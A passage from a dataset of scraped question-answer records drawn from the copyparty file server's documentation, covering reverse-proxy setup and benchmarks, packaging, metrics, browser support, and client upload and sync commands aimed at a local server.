HTTP/1.1 is recommended for now\n* depending on server/client, HTTP/1.1 can also be 5x faster than HTTP/2\n\nfor improved security (and a 10% performance boost) consider listening on a unix-socket with `-i unix:770:www:/dev/shm/party.sock` (permission `770` means only members of group `www` can access it)\n\nexample webserver / reverse-proxy configs:\n\n* [apache config](contrib/apache/copyparty.conf)\n* caddy uds: `caddy reverse-proxy --from :8080 --to unix///dev/shm/party.sock`\n* caddy tcp: `caddy reverse-proxy --from :8081 --to http://127.0.0.1:3923`\n* [haproxy config](contrib/haproxy/copyparty.conf)\n* [lighttpd subdomain](contrib/lighttpd/subdomain.conf) -- entire domain/subdomain\n* [lighttpd subpath](contrib/lighttpd/subpath.conf) -- location-based (not optimal, but in case you need it)\n* [nginx config](contrib/nginx/copyparty.conf) -- recommended\n* [traefik config](contrib/traefik/copyparty.yaml) -- only use v3.6.7 or newer [due to CVE-2025-66490](https://github.com/9001/copyparty/issues/1205)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780685"}
{"id": "gh_d1a3a82a17ad", "question": "How to: reverse-proxy performance", "question_body": "About 9001/copyparty", "answer": "most reverse-proxies support connecting to copyparty either using uds/unix-sockets (`/dev/shm/party.sock`, faster/recommended) or using tcp (`127.0.0.1`)\n\nwith copyparty listening on a uds / unix-socket / unix-domain-socket and the reverse-proxy connecting to that:\n\n| index.html   | upload      | download    | software |\n| ------------ | ----------- | ----------- | -------- |\n| 28'900 req/s | 6'900 MiB/s | 7'400 MiB/s | no-proxy |\n| 18'750 req/s | 3'500 MiB/s | 2'370 MiB/s | haproxy |\n|  9'900 req/s | 3'750 MiB/s | 2'200 MiB/s | caddy |\n| 18'700 req/s | 2'200 MiB/s | 1'570 MiB/s | nginx |\n|  9'700 req/s | 1'750 MiB/s | 1'830 MiB/s | apache |\n|  9'900 req/s | 1'300 MiB/s | 1'470 MiB/s | lighttpd |\n\nwhen connecting the reverse-proxy to `127.0.0.1` instead (the basic and/or old-fasioned way), speeds are a bit worse:\n\n| index.html   | upload      | download    | software |\n| ------------ | ----------- | ----------- | -------- |\n| 21'200 req/s | 5'700 MiB/s | 6'700 MiB/s | no-proxy |\n| 14'500 req/s | 1'700 MiB/s | 2'170 MiB/s | haproxy |\n| 11'100 req/s | 2'750 MiB/s | 2'000 MiB/s | traefik |\n|  8'400 req/s | 2'300 MiB/s | 1'950 MiB/s | caddy |\n| 13'400 req/s | 1'100 MiB/s | 1'480 MiB/s | nginx |\n|  8'400 req/s | 1'000 MiB/s | 1'000 MiB/s | apache |\n|  6'500 req/s | 1'270 MiB/s | 1'500 MiB/s | lighttpd |\n\nin summary, `haproxy > caddy > traefik > nginx > apache > lighttpd`, and use uds when possible (traefik does not support it yet)\n\n* if these results are bullshit because my config examples are bad, please submit corrections!", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780692"}
{"id": "gh_1e8f635f2a79", "question": "How to: permanent cloudflare tunnel", "question_body": "About 9001/copyparty", "answer": "if you have a domain and want to get your copyparty online real quick,  either from your home-PC behind a CGNAT or from a server without an existing [reverse-proxy](#reverse-proxy) setup, one approach is to create a [Cloudflare Tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/get-started/) (formerly \"Argo Tunnel\")\n\nI'd recommend making a `Locally-managed tunnel` for more control, but if you prefer to make a `Remotely-managed tunnel` then this is currently how:\n\n* `cloudflare dashboard` » `zero trust` » `networks` » `tunnels` » `create a tunnel` » `cloudflared` » choose a cool `subdomain` and leave the `path` blank, and use `service type` = `http` and `URL` = `127.0.0.1:3923`\n\n* and if you want to just run the tunnel without installing it, skip the `cloudflared service install BASE64` step and instead do `cloudflared --no-autoupdate tunnel run --token BASE64`\n\nNOTE: since people will be connecting through cloudflare, as mentioned in [real-ip](#real-ip) you should run copyparty with `--xff-hdr cf-connecting-ip` to detect client IPs correctly\n\nconfig file example:\n\n```yaml\n[global]\n  xff-hdr: cf-connecting-ip\n```", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780700"}
{"id": "gh_a564fd086b7f", "question": "How to: prometheus", "question_body": "About 9001/copyparty", "answer": "metrics/stats can be enabled  at URL `/.cpr/metrics` for grafana / prometheus / etc (openmetrics 1.0.0)\n\nmust be enabled with `--stats` since it reduces startup time a tiny bit, and you probably want `-e2dsa` too\n\nthe endpoint is only accessible by `admin` accounts, meaning the `a` in `rwmda` in the following example commandline: `python3 -m copyparty -a ed:wark -v /mnt/nas::rwmda,ed --stats -e2dsa`\n\nfollow a guide for setting up `node_exporter` except have it read from copyparty instead; example `/etc/prometheus/prometheus.yml` below\n\n```yaml\nscrape_configs:\n  - job_name: copyparty\n    metrics_path: /.cpr/metrics\n    basic_auth:\n      password: wark\n    static_configs:\n      - targets: ['192.168.123.1:3923']\n```\n\ncurrently the following metrics are available,\n* `cpp_uptime_seconds` time since last copyparty restart\n* `cpp_boot_unixtime_seconds` same but as an absolute timestamp\n* `cpp_active_dl` number of active downloads\n* `cpp_http_conns` number of open http(s) connections\n* `cpp_http_reqs` number of http(s) requests handled\n* `cpp_sus_reqs` number of 403/422/malicious requests\n* `cpp_active_bans` number of currently banned IPs\n* `cpp_total_bans` number of IPs banned since last restart\n\nthese are available unless `--nos-vst` is specified:\n* `cpp_db_idle_seconds` time since last database activity (upload/rename/delete)\n* `cpp_db_act_seconds` same but as an absolute timestamp\n* `cpp_idle_vols` number of volumes which are idle / ready\n* `cpp_busy_vols` number of volumes which are busy / indexing\n* `cpp_offline_vols` number of volumes which are offline / unavailable\n* `cpp_hashing_files` number of files queued for hashing / indexing\n* `cpp_tagq_files` number of files queued for metadata scanning\n* `cpp_mtpq_files` number of files queued for plugin-based analysis\n\nand these are available per-volume only:\n* `cpp_disk_size_bytes` total HDD size\n* `cpp_disk_free_bytes` free HDD space\n\nand these are per-volume and `total`:\n* `cpp_vol_bytes` size of all files in volume\n* `cpp_vol_files` number of files\n* `cpp_dupe_bytes` disk space presumably saved by deduplication\n* `cpp_dupe_files` number of dupe files\n* `cpp_unf_bytes` currently unfinished / incoming uploads\n\nsome of the metrics have additional requirements to function correctly,\n* `cpp_vol_*` requires either the `e2ds` volflag or `-e2dsa` global-option\n\nthe following options are available to disable some of the metrics:\n* `--nos-hdd` disables `cpp_disk_*` which can prevent spinning up HDDs\n* `--nos-vol` disables `cpp_vol_*` which reduces server startup time\n* `--nos-vst` disables volume state, reducing the worst-case prometheus query time by 0.5 sec\n* `--nos-dup` disables `cpp_dupe_*` which reduces the server load caused by prometheus queries\n* `--nos-unf` disables `cpp_unf_*` for no particular purpose\n\nnote: the following metrics are counted incorrectly if multiprocessing is enabled with `-j`: `cpp_http_conns`, `cpp_http_reqs`, `cpp_sus_reqs`, `cpp_active_bans`, `cpp_total_bans`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780708"}
{"id": "gh_ec32ccfcbdf3", "question": "How to: custom mimetypes", "question_body": "About 9001/copyparty", "answer": "change the association of a file extension\n\nusing commandline args, you can do something like `--mime gif=image/jif` and `--mime ts=text/x.typescript` (can be specified multiple times)\n\nin a config file, this is the same as:\n\n```yaml\n[global]\n  mime: gif=image/jif\n  mime: ts=text/x.typescript\n```\n\nrun copyparty with `--mimes` to list all the default mappings", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780714"}
{"id": "gh_60ea6a2b9e5b", "question": "How to: GDPR compliance", "question_body": "About 9001/copyparty", "answer": "imagine using copyparty professionally...  **TINLA/IANAL; EU laws are hella confusing**\n\n* remember to disable logging, or configure logrotation to an acceptable timeframe with `-lo cpp-%Y-%m%d.txt.xz` or similar\n\n* if running with the database enabled (recommended), then have it forget uploader-IPs after some time using `--forget-ip 43200`\n  * don't set it too low; [unposting](#unpost) a file is no longer possible after this takes effect\n\n* if you actually *are* a lawyer then I'm open for feedback, would be fun", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780719"}
{"id": "gh_12a858a7ccd9", "question": "How to: feature chickenbits", "question_body": "About 9001/copyparty", "answer": "buggy feature? rip it out  by setting any of the following environment variables to disable its associated bell or whistle,\n\n| env-var              | what it does |\n| -------------------- | ------------ |\n| `PRTY_NO_DB_LOCK`    | do not lock session/shares-databases for exclusive access |\n| `PRTY_NO_IFADDR`     | disable ip/nic discovery by poking into your OS with ctypes |\n| `PRTY_NO_IMPRESO`    | do not try to load js/css files using `importlib.resources` |\n| `PRTY_NO_IPV6`       | disable some ipv6 support (should not be necessary since windows 2000) |\n| `PRTY_NO_LZMA`       | disable streaming xz compression of incoming uploads |\n| `PRTY_NO_MP`         | disable all use of the python `multiprocessing` module (actual multithreading, cpu-count for parsers/thumbnailers) |\n| `PRTY_NO_SQLITE`     | disable all database-related functionality (file indexing, metadata indexing, most file deduplication logic) |\n| `PRTY_NO_TLS`        | disable native HTTPS support; if you still want to accept HTTPS connections then TLS must now be terminated by a reverse-proxy |\n| `PRTY_NO_TPOKE`      | disable systemd-tmpfilesd avoider |\n| `PRTY_UNSAFE_STATE`  | allow storing secrets into emergency-fallback locations |\n\nexample: `PRTY_NO_IFADDR=1 python3 copyparty-sfx.py`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780726"}
{"id": "gh_6aeac33408e5", "question": "How to: feature beefybits", "question_body": "About 9001/copyparty", "answer": "force-enable features with known issues on your OS/env  by setting any of the following environment variables, also affectionately known as `fuckitbits` or `hail-mary-bits`\n\n| env-var                  | what it does |\n| ------------------------ | ------------ |\n| `PRTY_FORCE_MP`          | force-enable multiprocessing (real multithreading) on MacOS and other broken platforms |\n| `PRTY_FORCE_MAGIC`       | use [magic](https://pypi.org/project/python-magic/) on Windows (you will segfault) |", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780731"}
{"id": "gh_96df42a3632e", "question": "How to: arch package", "question_body": "About 9001/copyparty", "answer": "`pacman -S copyparty` (in [arch linux extra](https://archlinux.org/packages/extra/any/copyparty/))\n\nit comes with a [systemd service](./contrib/systemd/copyparty@.service) as well as a [user service](./contrib/systemd/copyparty-user.service), and expects to find a [config file](./contrib/systemd/copyparty.example.conf) in `/etc/copyparty/copyparty.conf` or `~/.config/copyparty/copyparty.conf`\n\nafter installing, start either the system service or the user service and navigate to http://127.0.0.1:3923 for further instructions (unless you already edited the config files, in which case you are good to go, probably)\n\n> to start the systemd service, either do `systemctl start --user copyparty` to start it as your own user, or `systemctl start copyparty@bob` to use unix-user `bob`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780737"}
{"id": "gh_8930c4cb2f4f", "question": "How to: fedora package", "question_body": "About 9001/copyparty", "answer": "does not exist yet;  there are rumours that it is being packaged! keep an eye on this space...", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780742"}
{"id": "gh_f83f2f6728f1", "question": "How to: homebrew formulae", "question_body": "About 9001/copyparty", "answer": "`brew install copyparty ffmpeg`  -- https://formulae.brew.sh/formula/copyparty\n\nshould work on all macs (both intel and apple silicon) and all relevant macos versions\n\nthe homebrew package is maintained by the homebrew team (thanks!)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780746"}
{"id": "gh_a6ec96f8ffba", "question": "How to: nix package", "question_body": "About 9001/copyparty", "answer": "`nix profile install github:9001/copyparty`\n\nrequires a [flake-enabled](https://nixos.wiki/wiki/Flakes) installation of nix\n\nsome recommended dependencies are enabled by default; [override the package](https://github.com/9001/copyparty/blob/hovudstraum/contrib/package/nix/copyparty/default.nix#L3-L22) if you want to add/remove some features/deps\n\n`ffmpeg-full` was chosen over `ffmpeg-headless` mainly because we need `withWebp` (and `withOpenmpt` is also nice) and being able to use a cached build felt more important than optimizing for size at the time -- PRs welcome if you disagree 👍", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780753"}
{"id": "gh_32eb71ad7abd", "question": "How to: nixos module", "question_body": "About 9001/copyparty", "answer": "for [flake-enabled](https://nixos.wiki/wiki/Flakes) installations of NixOS:\n\n```nix\n{\n  # add copyparty flake to your inputs\n  inputs.copyparty.url = \"github:9001/copyparty\";\n\n  # ensure that copyparty is an allowed argument to the outputs function\n  outputs = { self, nixpkgs, copyparty }: {\n    nixosConfigurations.yourHostName = nixpkgs.lib.nixosSystem {\n      modules = [\n        # load the copyparty NixOS module\n        copyparty.nixosModules.default\n        ({ pkgs, ... }: {\n          # add the copyparty overlay to expose the package to the module\n          nixpkgs.overlays = [ copyparty.overlays.default ];\n          # (optional) install the package globally\n          environment.systemPackages = [ pkgs.copyparty ];\n          # configure the copyparty module\n          services.copyparty.enable = true;\n        })\n      ];\n    };\n  };\n}\n```\n\nif you don't use a flake in your configuration, you can use other dependency management tools like [npins](https://github.com/andir/npins), [niv](https://github.com/nmattia/niv), or even plain [`fetchTarball`](https://nix.dev/manual/nix/stable/language/builtins#builtins-fetchTarball), like so:\n\n```nix\n{ pkgs, ... }:\n\nlet\n  # npins example, adjust for your setup. copyparty should be a path to the downloaded repo\n  # for niv, just replace the npins folder import with the sources.nix file\n  copyparty = (import ./npins).copyparty;\n\n  # or with fetchTarball:\n  copyparty = fetchTarball \"https://github.com/9001/copyparty/archive/hovudstraum.tar.gz\";\nin\n\n{\n  # load the copyparty NixOS module\n  imports = [ \"${copyparty}/contrib/nixos/modules/copyparty.nix\" ];\n\n  # add the copyparty overlay to expose the package to the module\n  nixpkgs.overlays = [ (import \"${copyparty}/contrib/package/nix/overlay.nix\") ];\n  # (optional) install the package globally\n  environment.systemPackages = [ pkgs.copyparty ];\n  # configure the copyparty module\n  services.copyparty.enable = true;\n}\n```\n\ncopyparty on NixOS is configured via `services.copyparty` options, for example:\n```nix\nservices.copyparty = {\n  enable = true;\n  # the user to run the service as\n  user = \"copyparty\"; \n  # the group to run the service as\n  group = \"copyparty\"; \n  # directly maps to values in the [global] section of the copyparty config.\n  # see `copyparty --help` for available options\n  settings = {\n    i = \"0.0.0.0\";\n    # use lists to set multiple values\n    p = [ 3210 3211 ];\n    # use booleans to set binary flags\n    no-reload = true;\n    # using 'false' will do nothing and omit the value when generating a config\n    ignored-flag = false;\n  };\n\n  # create users\n  accounts = {\n    # specify the account name as the key\n    ed = {\n      # provide the path to a file containing the password, keeping it out of /nix/store\n      # must be readable by the copyparty service user\n      passwordFile = \"/run/keys/copyparty/ed_password\";\n    };\n    # or do both in one go\n    k.passwordFile = \"/run/keys/copyparty/k_password\";\n  };\n\n  # create a group\n  groups = {\n    # users \"ed\" and \"k\" are part of the group g1\n    g1 = [ \"ed\" \"k\" ];\n  };\n\n  # create a volume\n  volumes = {\n    # create a volume at \"/\" (the webroot), which will\n    \"/\" = {\n      # share the contents of \"/srv/copyparty\"\n      path = \"/srv/copyparty\";\n      # see `copyparty --help-accounts` for available options\n      access = {\n        # everyone gets read-access, but\n        r = \"*\";\n        # users \"ed\" and \"k\" get read-write\n        rw = [ \"ed\" \"k\" ];\n      };\n      # see `copyparty --help-flags` for available options\n      flags = {\n        # \"fk\" enables filekeys (necessary for upget permission) (4 chars long)\n        fk = 4;\n        # scan for new files every 60sec\n        scan = 60;\n        # volflag \"e2d\" enables the uploads database\n        e2d = true;\n        # \"d2t\" disables multimedia parsers (in case the uploads are malicious)\n        d2t = true;\n        # skips hashing file contents if path matches *.iso\n        nohash = \"\\.iso$\";\n      };\n    };\n  };\n  # you may increase the open file limit for the process\n  openFilesLimit = 8192;\n};\n```\n\nthe passwordFile at /run/keys/copyparty/ could for example be generated by [agenix](https://github.com/ryantm/agenix), or you could just dump it in the nix store instead if that's acceptable", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780767"}
{"id": "gh_61fac9cc30c7", "question": "How to: browser support", "question_body": "About 9001/copyparty", "answer": "TLDR: yes\n\n![copyparty-ie4-fs8](https://user-images.githubusercontent.com/241032/118192791-fb31fe00-b446-11eb-9647-898ea8efc1f7.png)\n\n`ie` = internet-explorer, `ff` = firefox, `c` = chrome, `iOS` = iPhone/iPad, `Andr` = Android\n\n| feature         | ie6 | ie9  | ie10 | ie11 | ff 52 | c 49 | iOS | Andr |\n| --------------- | --- | ---- | ---- | ---- | ----- | ---- | --- | ---- |\n| browse files    | yep | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| thumbnail view  |  -  | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| basic uploader  | yep | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| up2k            |  -  |  -   | `*1` | `*1` |  yep  | yep  | yep | yep  |\n| make directory  | yep | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| send message    | yep | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| set sort order  |  -  | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| zip selection   |  -  | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| file search     |  -  | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| file rename     |  -  | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| file cut/paste  |  -  | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| unpost uploads  |  -  |  -   | yep  | yep  |  yep  | yep  | yep | yep  |\n| navpane         |  -  | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| image viewer    |  -  | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| video player    |  -  | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| markdown editor |  -  |  -   | `*2` | `*2` |  yep  | yep  | yep | yep  |\n| markdown viewer |  -  | `*2` | `*2` | `*2` |  yep  | yep  | yep | yep  |\n| play mp3/m4a    |  -  | yep  | yep  | yep  |  yep  | yep  | yep | yep  |\n| play ogg/opus   |  -  |  -   |  -   |  -   |  yep  | yep  | `*3` | yep |\n| **= feature =** | ie6 | ie9  | ie10 | ie11 | ff 52 | c 49 | iOS | Andr |\n\n* internet explorer 6 through 8 behave the same\n* firefox 52 and chrome 49 are the final winxp versions\n* `*1` yes, but extremely slow (ie10: `1 MiB/s`, ie11: `270 KiB/s`)\n* `*2` only able to do plaintext documents (no markdown rendering)\n* `*3` iOS 11 and newer, opus only, and requires FFmpeg on the server\n\nquick summary of more eccentric web-browsers trying to view a directory index:\n\n| browser | will it blend |\n| ------- | ------------- |\n| **links** (2.21/macports) | can browse, login, upload/mkdir/msg |\n| **lynx** (2.8.9/macports) | can browse, login, upload/mkdir/msg |\n| **w3m** (0.5.3/macports)  | can browse, login, upload at 100kB/s, mkdir/msg |\n| **netsurf** (3.10/arch)   | is basically ie6 with much better css (javascript has almost no effect) | \n| **opera** (11.60/winxp)   | OK: thumbnails, image-viewer, zip-selection, rename/cut/paste. NG: up2k, navpane, markdown, audio |\n| **ie4** and **netscape** 4.0  | can browse, upload with `?b=u`, auth with `&pw=wark` |\n| **ncsa mosaic** 2.7       | does not get a pass, [pic1](https://user-images.githubusercontent.com/241032/174189227-ae816026-cf6f-4be5-a26e-1b3b072c1b2f.png) - [pic2](https://user-images.githubusercontent.com/241032/174189225-5651c059-5152-46e9-ac26-7e98e497901b.png) |\n| **SerenityOS** (7e98457)  | hits a page fault, works with `?b=u`, file upload not-impl |\n| **sony psp** 5.50         | can browse, upload/mkdir/msg (thx dwarf) [screenshot](https://github.com/user-attachments/assets/9d21f020-1110-4652-abeb-6fc09c533d4f) |\n| **nintendo 3ds**          | can browse, upload, view thumbnails (thx bnjmn) |\n| **Nintendo Wii (Opera 9.0 \"Internet Channel\")**          | can browse, can't upload or download (no local storage), can view images - works best with `?b=u`, default view broken |", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780779"}
{"id": "gh_0a70b37d6e2c", "question": "How to: server hall of fame", "question_body": "About 9001/copyparty", "answer": "unexpected things that run copyparty:\n\n* an old [allwinner](https://a.ocv.me/pub/g/nerd-stuff/cpp/servers/aallwinner.jpg) android tv-box (ziptie-strapped to an HDD) running a firmware which flips the CPU into Big-Endian mode early during boot\n  * copyparty is [certified BE ready](https://a.ocv.me/pub/g/nerd-stuff/cpp/servers/be-ready.png) -- thanks, [Øl Telecom](http://ol-tele.com/)!\n* an [SGI O2 (photo)](https://a.ocv.me/pub/g/nerd-stuff/cpp/servers/sgi-o2.jpg?cache) with a grand total of 64 MiB RAM running SGI IRIX; [screenshot](https://a.ocv.me/pub/g/nerd-stuff/cpp/servers/sgi-o2.png?cache)\n  * thanks again to the wonderful people at [Øl Telecom](http://ol-tele.com/)\n* a [wristwatch](https://a.ocv.me/pub/g/nerd-stuff/cpp/servers/clockyparty.jpg)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780785"}
{"id": "gh_5a30c00faeb6", "question": "How to: client examples", "question_body": "About 9001/copyparty", "answer": "interact with copyparty using non-browser clients\n\n* javascript: dump some state into a file (two separate examples)\n  * `await fetch('//127.0.0.1:3923/', {method:\"PUT\", body: JSON.stringify(foo)});`\n  * `var xhr = new XMLHttpRequest(); xhr.open('POST', '//127.0.0.1:3923/msgs?raw'); xhr.send('foo');`\n\n* curl/wget: upload some files (post=file, chunk=stdin)\n  * `post(){ curl -F f=@\"$1\" http://127.0.0.1:3923/?pw=wark;}`  \n    `post movie.mkv`  (gives HTML in return)\n  * `post(){ curl -F f=@\"$1\" 'http://127.0.0.1:3923/?want=url&pw=wark';}`  \n    `post movie.mkv`  (gives hotlink in return)\n  * `post(){ curl -H pw:wark -H rand:8 -T \"$1\" http://127.0.0.1:3923/;}`  \n    `post movie.mkv`  (randomized filename)\n  * `post(){ wget --header='pw: wark' --post-file=\"$1\" -O- http://127.0.0.1:3923/?raw;}`  \n    `post movie.mkv`\n  * `chunk(){ curl -H pw:wark -T- http://127.0.0.1:3923/;}`  \n    `chunk\n/dev/tcp/127.0.0.1/3923`\n\n* python: [u2c.py](https://github.com/9001/copyparty/blob/hovudstraum/bin/u2c.py) is a command-line up2k client [(webm)](https://ocv.me/stuff/u2cli.webm)\n  * file uploads, file-search, [folder sync](#folder-sync), autoresume of aborted/broken uploads\n  * can be downloaded from copyparty: controlpanel -> connect -> [u2c.py](http://127.0.0.1:3923/.cpr/a/u2c.py)\n  * see [./bin/README.md#u2cpy](bin/README.md#u2cpy)\n\n* FUSE: mount a copyparty server as a local filesystem\n  * cross-platform python client available in [./bin/](bin/)\n  * able to mount nginx and iis directory listings too, not just copyparty\n  * can be downloaded from copyparty: controlpanel -> connect -> [partyfuse.py](http://127.0.0.1:3923/.cpr/a/partyfuse.py)\n  * [rclone](https://rclone.org/) as client can give ~5x performance, see [./docs/rclone.md](docs/rclone.md)\n\n* sharex (screenshot utility): see [./contrib/sharex.sxcu](./contrib/#sharexsxcu)\n  * and for screenshots on macos, see [./contrib/ishare.iscu](./contrib/#ishareiscu)\n  * and for screenshots on linux, see [./contrib/flameshot.sh](./contrib/flameshot.sh)\n\n* [Custom Uploader](https://f-droid.org/en/packages/com.nyx.custom_uploader/) (an Android app) as an alternative to copyparty's own [PartyUP!](#android-app)\n  * works if you set UploadURL to `https://your.com/foo/?want=url&pw=hunter2` and FormDataName `f`\n\n* contextlet (web browser integration); see [contrib contextlet](contrib/#send-to-cppcontextletjson)\n\n* [igloo irc](https://iglooirc.com/): Method: `post` Host: `https://you.com/up/?want=url&pw=hunter2` Multipart: `yes` File parameter: `f`\n\ncopyparty returns a truncated sha512sum of your PUT/POST as base64; you can generate the same checksum locally to verify uploads:\n\n    b512(){ printf \"$((sha512sum||shasum -a512)|sed -E 's/ .*//;s/(..)/\\\\x\\1/g')\"|base64|tr '+/' '-_'|head -c44;}\n    b512\nfor basic-authentication, all of the following are accepted: `password` / `whatever:password` / `password:whatever` (the username is ignored)\n\n* unless you've enabled `--usernames`, then it's `PW: usr:pwd`, cookie `cppwd=usr:pwd`, url-param `?pw=usr:pwd`\n\nNOTE: curl will not send the original filename if you use `-T` combined with url-params! Also, make sure to always leave a trailing slash in URLs unless you want to override the filename", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780795"}
{"id": "gh_3e09403219b6", "question": "How to: folder sync", "question_body": "About 9001/copyparty", "answer": "sync folders to/from copyparty\n\nNOTE: full bidirectional sync, like what [nextcloud](https://docs.nextcloud.com/server/latest/user_manual/sv/files/desktop_mobile_sync.html) and [syncthing](https://syncthing.net/) does, will never be supported! Only single-direction sync (server-to-client, or client-to-server) is possible with copyparty\n\n* if you want bidirectional sync, then copyparty and syncthing *should* be entirely safe to combine; they should be able to collaborate on the same folders without causing any trouble for eachother. Many people do this, and there have been no issues so far. But, if you *do* encounter any problems, please [file a copyparty bug](https://github.com/9001/copyparty/issues/new/choose) and I'll try to help -- just keep in mind I've never used syncthing before :-)\n\nthe commandline uploader [u2c.py](https://github.com/9001/copyparty/tree/hovudstraum/bin#u2cpy) with `--dr` is the best way to sync a folder to copyparty; verifies checksums and does files in parallel, and deletes unexpected files on the server after upload has finished which makes file-renames really cheap (it'll rename serverside and skip uploading)\n\nif you want to sync with `u2c.py` then:\n* the `e2dsa` option (either globally or volflag) must be enabled on the server for the volumes you're syncing into\n* ...but DON'T enable global-options `no-hash` or `no-idx` (or volflags `nohash` / `noidx`), or at least make sure they are configured so they do not affect anything you are syncing into\n* ...and u2c needs the delete-permission, so either `rwd` at minimum, or just `A` which is the same as `rwmd.a`\n  * quick reminder that `a` and `A` are different permissions, and `.` is very useful for sync\n\nalternatively there is [rclone](./docs/rclone.md) which allows for bidirectional sync and is *way* more flexible (stream files straight from sftp/s3/gcs to copyparty, ...), although there is no integrity check and it won't work with files over 100 MiB if copyparty is behind cloudflare\n\n* starting from rclone v1.63, rclone is faster than u2c.py on low-latency connections\n  * but this is only true for the initial upload; u2c will be faster for periodic syncing", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780804"}
{"id": "gh_ecb1f7d92995", "question": "How to: mount as drive", "question_body": "About 9001/copyparty", "answer": "a remote copyparty server as a local filesystem;  go to the control-panel and click `connect` to see a list of commands to do that\n\nalternatively, some alternatives roughly sorted by speed (unreproducible benchmark), best first:\n\n* [rclone-webdav](./docs/rclone.md) (25s), read/WRITE (rclone v1.63 or later)\n* [rclone-http](./docs/rclone.md) (26s), read-only\n* [partyfuse.py](./bin/#partyfusepy) (26s), read-only\n* [rclone-ftp](./docs/rclone.md) (47s), read/WRITE\n* davfs2 (103s), read/WRITE\n* [win10-webdav](#webdav-server) (138s), read/WRITE\n* [win10-smb2](#smb-server) (387s), read/WRITE\n\nmost clients will fail to mount the root of a copyparty server unless there is a root volume (so you get the admin-panel instead of a browser when accessing it) -- in that case, mount a specific volume instead\n\nif you have volumes that are accessible without a password, then some webdav clients (such as davfs2) require the global-option `--dav-auth` to access any password-protected areas", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780810"}
